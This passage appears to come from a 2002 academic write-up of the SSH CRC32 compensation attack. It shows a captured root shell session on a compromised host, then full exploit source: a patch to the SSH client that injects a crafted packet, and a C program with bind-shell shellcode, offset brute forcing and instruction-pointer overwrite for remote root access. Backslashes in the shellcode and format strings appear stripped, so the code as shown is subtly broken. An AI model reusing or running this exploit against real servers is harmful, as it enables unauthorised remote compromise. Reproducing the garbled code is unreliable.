id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
ls -l;
total 480
drwxr-xr-x    2 root     root         4096 Mar  8 18:30 bin
drwxr-xr-x    3 root     root         4096 Feb 28 22:26 boot
-rw-------    1 root     root       520192 Mar 10 23:08 core
drwxr-xr-x   16 root     root        77824 Mar 12 21:21 dev
drwxr-xr-x   60 root     root         8192 Mar 19 19:24 etc
drwxr-xr-x   10 root     root         4096 Mar 15 00:04 home
drwxr-xr-x    2 root     root         4096 Jun 21  2001 initrd
drwxr-xr-x    7 root     root         4096 Mar  4 15:45 lib
drwxr-xr-x    2 root     root        16384 Sep  2  2001 lost+found
drwxr-xr-x    2 root     root            0 Feb 28 22:32 misc
drwxr-xr-x    4 root     root         4096 Nov 23 17:13 mnt
lrwxrwxrwx    1 root     root           13 Jan 20 15:09 mp3 -> /mnt/hdd1/MP3
drwxr-xr-x    2 root     root         4096 Aug 23  1999 opt
dr-xr-xr-x  180 root     root            0 Feb 28 22:32 proc
drwxr-x---   29 root     root         4096 Mar 19 18:55 root
drwxr-xr-x    2 root     root         4096 Mar  8 18:31 sbin
lrwxrwxrwx    1 root     root           18 Nov 20 23:12 scratch -> /mnt/hdc1/scratch/
drwxrwxrwt   13 root     root         4096 Mar 19 19:10 tmp
drwxr-xr-x   17 root     root         4096 Feb  5 18:11 usr
drwxr-xr-x   22 root     root         4096 Sep  2  2001 var
lrwxrwxrwx    1 root     root           14 Nov 16 19:48 www -> /mnt/hdc1/www/
: command not found
exit;
Connection closed by foreign host.
[root@localhost exploit]#
7.3 Source code files for the exploit
7.3.1 packet.diff
Download packet.diff

--- packet.c        Sat Oct 14 08:23:12 2000
+++ packet_modified.c        Tue Mar 19 20:24:25 2002
@@ -125,6 +125,9 @@
/* Session key information for Encryption and MAC */
Kex        *kex = NULL;

+/* pekka.korpinen@hut.fi, kalle.lyytikainen@hut.fi */
+/* HACK - Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +464,9 @@
        unsigned int checksum;
        u_int32_t rand = 0;

+        /* HACK - Count sent packets */
+        count++;
+
        /*
         * If using packet compression, compress the payload of the outgoing
         * packet.
@@ -1172,7 +1178,32 @@
void
packet_write_poll()
{
-        int len = buffer_len(&output);
+        int len;
+
+        /* --- HACK START --- */
+        FILE *f;
+        unsigned long sz;
+        char buf[50], *ptr, packet[270000];
+
+        if (count == 2)
+        {
+                debug("reading exploit packet from /tmp/exploit_packet");
+                 f = fopen("/tmp/exploit_packet","r");
+                 fread(buf, 1, 4, f);
+                 sz = GET_32BIT(&buf[0])+4;
+                 debug("packet length = %un", sz);
+
+                 buffer_clear(&output);
+                 buffer_append(&output, packet, sz);
+                   ptr = buffer_ptr(&output);
+                   fread(ptr, 1, sz, f);
+                   fclose(f);
+                  
+                 count++;
+        }
+        /* --- HACK END --- */
+        
+        len = buffer_len(&output);
        if (len > 0) {
                len = write(connection_out, buffer_ptr(&output), len);
                if (len <= 0) {
7.3.2 uxp2.c
Download uxp2.c

/*

THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

Exploit code for using the modified ssh

2002-03-20

Authors:
Pekka Korpinen, pekka.korpinen@hut.fi                / Helsinki University of Technology
Kalle Lyytikäinen, kalle.lyytikainen@hut.fi        / Helsinki University of Technology

       
This code is based on the reverse-engineering work of the
shack implementation. Shellcode is by anathema.

*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Path to modified ssh */
#define PATH_SSH "./ssh"

// Target host
char host[] = "192.168.1.1";

// Target port
int port = 2222;

// Packet length (don't touch)
unsigned long packet_length = 102400;

// The packet buffer
char *buffer = NULL;


/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72"                                /* jmp callz               */
/* start: */
"x5e"                                    /* popl %esi               */

  /* socket() */
"x29xc0"                                /* subl %eax, %eax         */
"x89x46x10"                            /* movl %eax, 0x10(%esi)   */
"x40"                                    /* incl %eax               */
"x89xc3"                                /* movl %eax, %ebx         */
"x89x46x0c"                            /* movl %eax, 0x0c(%esi)   */
"x40"                                    /* incl %eax               */
"x89x46x08"                            /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* bind() */
"x43"                                    /* incl %ebx               */
"xc6x46x10x10"                        /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                        /* movw %bx, 0x14(%esi)    */
"x88x46x08"                            /* movb %al, 0x08(%esi)    */
"x29xc0"                                /* subl %eax, %eax         */
"x89xc2"                                /* movl %eax, %edx         */
"x89x46x18"                            /* movl %eax, 0x18(%esi)   */
"xb0x90"                                /* movb $0x90, %al         */
"x66x89x46x16"                        /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                            /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                            /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* listen() */
"x89x5ex0c"                            /* movl %ebx, 0x0c(%esi)   */
"x43"                                    /* incl %ebx               */
"x43"                                    /* incl %ebx               */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* accept() */
"x89x56x0c"                            /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                            /* movl %edx, 0x10(%esi)   */
"xb0x66"                                /* movb $0x66, %al         */
"x43"                                    /* incl %ebx               */
"xcdx80"                                /* int $0x80               */

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                                /* xchgb %al, %bl          */
"xb0x3f"                                /* movb $0x3f, %al         */
"x29xc9"                                /* subl %ecx, %ecx         */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */

  /* execve() */
"x88x56x07"                            /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                            /* movl %esi, 0x0c(%esi)   */
"x87xf3"                                /* xchgl %esi, %ebx        */
"x8dx4bx0c"                            /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                                /* movb $0x0b, %al         */
"xcdx80"                                /* int $0x80               */

/* callz: */
"xe8x89xffxffxff"                    /* call start              */
"/bin/sh";

void buffer_init()
{
        buffer = (char *) malloc(packet_length+8);
}

void buffer_destroy()
{
        if (buffer)
                free(buffer);
}

void insert_crc32_compensation_attack_pattern(unsigned long *ptr,
        unsigned long value1, unsigned long value2)
{
        int positions[] = {0,6,9,10,16,20,21,22,24,25,27,28,30,31,32,-1};
        int i;
       
        for (i=0; positions[i]!=-1; i++) {
                ptr[ positions[i]*2 ] = value1;
                ptr[ positions[i]*2+1 ] = value2;
        }
}

void change_word_order()
{
        int i;
        char ch, ch2, *aux;

        for(i = 0 ; i < 4+packet_length ; i+=4) {
            aux = buffer + i;
            ch=*aux;
            *aux=*(aux+3);
            *(aux+3)=ch;
            ch=*(aux+1);
            *(aux+1)=*(aux+2);
            *(aux+2)=ch;        
          }
}

int send_packet_and_check_result(char *grepstr)
{
        char commandline[512];
        int ret;
        FILE *f;

        // Write packet
        f = fopen("/tmp/exploit_packet", "wb");
        fwrite(buffer, 1, (packet_length+8), f);
        fclose(f);

       
        sprintf(commandline, "%s -p %i -v -l root %s 2> /tmp/output.txt", PATH_SSH, port, host);

          ret = system(commandline);
         
          if (grepstr != NULL) {
                  sprintf(commandline, "grep %s /tmp/output.txt > /dev/null", grepstr);
                  ret = system(commandline);
          }
          return ret;
}

int send_packet_shellcode(unsigned long buffer_offset, unsigned long eip_offset, unsigned int presumed_MSW, unsigned int target_MSW)
{
        int ret, i;
        unsigned long *ptr, buffer_offset_slide, temp;
        char ch,ch2;

        // Set the packet lengths (first one for the ssh-client)
        //  (second one is sent to the server)
        ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

        // NOP sled (to entire packet)
        memset(ptr, 0x90, packet_length);

        // Running j to target_MSW (writing into the buffer, FFFF)
        // The +1 in "target_MSW+1" must be used because j starts at 0
          buffer_offset_slide = buffer_offset + 3;
          for (i=0; i < (target_MSW + 1) * 8 && i < packet_length; i+=8, buffer_offset_slide += 4) {
            *(ptr++) = buffer_offset_slide;
            *(ptr++) = 0x7350ffff;
          }
 
          // Inserting CRC32 compensation attack pattern
          //   Change the order of MSW-LSW
          ch = (target_MSW+1)&0xff;
          ch2 = ((target_MSW+1)&0xff00) >> 8;
          temp = (ch<<24)+(ch2<<16)+0x9090;
        insert_crc32_compensation_attack_pattern(ptr, buffer_offset_slide-1, temp);

 
        // Place EIP overwrite blocks
        ptr = (unsigned long *) buffer;
          ptr += 2;        // skip the length information

          ptr[presumed_MSW * 2] = eip_offset;
          ptr[target_MSW * 2] = eip_offset;

        // Change the word order in buffer
        change_word_order();

          // Insert the shellcode (no word-order things here)
          memcpy(buffer+8+packet_length-strlen(shellcode)-16, &shellcode, strlen(shellcode));

        // Send packet (no grepping)
        ret = send_packet_and_check_result(NULL);

          return ret;
}

int send_packet_kernel(unsigned long kernel_offset, unsigned long buffer_offset)
{
          int ret, i;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

          for (i=0; i<packet_length; i+=8) {
            *(ptr++) = kernel_offset;
            *(ptr++) = 0x7350ffff;
          }

          ptr = (unsigned long *) buffer;
          ptr += 2;

        insert_crc32_compensation_attack_pattern(ptr+2, buffer_offset+6, 0x0100ffff);

          change_word_order();

        ret = send_packet_and_check_result("crc32");

        return ret;
}

int find_stack(unsigned long start_offset, unsigned long buffer_offset)
{
          unsigned long offset;
          long step;
          int ret;
          int count;

          offset = start_offset;

          printf("Finding lower kernel area boundaryn");
          while (1) {
            printf("  Testing h..boundary offset 0x%08x ", offset*2);
            fflush(stdout);
            ret = send_packet_kernel(offset, buffer_offset);
            if (ret == 0) {
                      printf("FOUND. (CRC32 Attack Detected)n");
                      break;
            }
            else {
                      printf("NOT FOUND. (SEQV)n");
                    }
            //    offset -= 0x800;
            offset -=2;
          }
          return offset+2; // We only need the exact h..kernel distance
}

int buffer_test(unsigned long start_offset, unsigned long packet_length)
{
          FILE *f;
          int ret, i, j;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
        *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;
 
          for (i=0, j=0; i<packet_length; i+=16, j+=4) {
            *(ptr++) = start_offset+j;
            *(ptr++) = 0xffffffff;
            *(ptr++) = start_offset+j+1;
            *(ptr++) = 0xffffffff;
          }

        change_word_order();

        ret = send_packet_and_check_result("Corrupted");
          return ret;
}

unsigned long find_buffer(unsigned long start_offset, unsigned stop_offset)
{
          int ret;
          unsigned long offset;
          long step;

          // Find estimate for h..buf distance
          printf("Finding estimate for h..buf distancen");
          offset = start_offset;
          while (1) {
            printf("  Testing h..buf offset: 0x%08x B", offset*2); // 2 -> 16-bit offset
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            if (ret == 0) {
                      printf("  FOUND (Corrupt bytes)n");
                      break;
            }
            else {
                      printf("  NOT FOUND (SEQV)n");
            }

            offset += packet_length/2/2;
            if (offset > stop_offset) {
                      printf("Stop offset reached. Exitingn");
                      return 0;
            }
          }

          // Find exact distance
          printf("Finding exact h..buf distancen");
 
          // Calculate the step size
          step = 1;
          while (1) {
            if (step > packet_length/2/2/2)
              break;
            step = step<<1;
          }

          offset -= step;
          while(step > 3) {
            printf("  Testing h..buf offset: 0x%08x B (prev. step=0x%08xh)", offset*2, step*2);
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            step = step/2;
            if (ret==0) {
                      printf(" FOUND. Decreasing by 0x%08xn", step);
              offset -= step;
            }
            else {
                      printf(" NOT FOUND. Increasing by 0x%08xn", step);
                      offset += step;
            }
          }

          printf("Found exact distance: 0x%08xn", offset*2);

          return offset;
}

void try_shellcode(unsigned long eip_guess, unsigned long buf_offset, unsigned long kernel_offset)
{
          long int higher, lower, p, t; // Offsets to seach, expands from the middle
          unsigned long h, eip_MSW_offset, roof_reached = 0;

          h = 0xc0000000 - kernel_offset * 2;

          // eip_offset must point to the MSW of eip, which resides at higher half of eip. Convert to 16-b offset  
          eip_MSW_offset = (eip_guess - h + 2) / 2;

          higher = 0;
          lower = -4;
          printf("Trying to run shellcode. If output stalls, telnet to %s:36864n", host);
          while(1) {
            for(p=0x805 ; p<=0x806 ; p++) {
                      for(t=p+1 ; t<=0x808 ; t++) {
                        if (eip_guess+higher < 0xc0000000) {
                                  printf("  Trying shellcode / (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+higher, p, t);
                                  send_packet_shellcode(buf_offset, eip_MSW_offset + higher/2, p, t);
                        }
                        else if (!roof_reached && eip_guess+higher >= 0xc0000000) {
                                  printf("Higher search hit kernel bound. Continue with lower search only.n");
                                  roof_reached = 1;
                        }
                        printf("  Trying shellcode \ (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+lower, p, t);
                        send_packet_shellcode(buf_offset, eip_MSW_offset + lower/2, p, t);        
                      }
            }
           
            higher += 4;
            lower -= 4;
          }
}

int main(int argc,char *argv[])
{
          unsigned long kernel_offset, buf_offset;

        // initialize the buffer
        buffer_init();

        // find the buf
        //  1st arg : start search from this offset
        //  2nd arg : stop search to this offset
        buf_offset = find_buffer(0x0, 102400/2*10);
       
        // find the stack
        //  1st arg : start search from this (16-bit) offset (high limit)
        //  2nd arg : found buf offset
        kernel_offset = find_stack(0xb7f88500/2, buf_offset);
       
        // try to send and run shellcode
        //  1st arg : initial guess where the eip is living (absolute 8-bit address)
        //  2nd arg : found buf offset
        //  3rd arg : found stack (0xc0000000) offset
          try_shellcode(0xc0000000 - 0x2600, buf_offset, kernel_offset);

        // destroy the buffer
        buffer_destroy();
          return 0;
}
2009/09/30 21:44 2009/09/30 21:44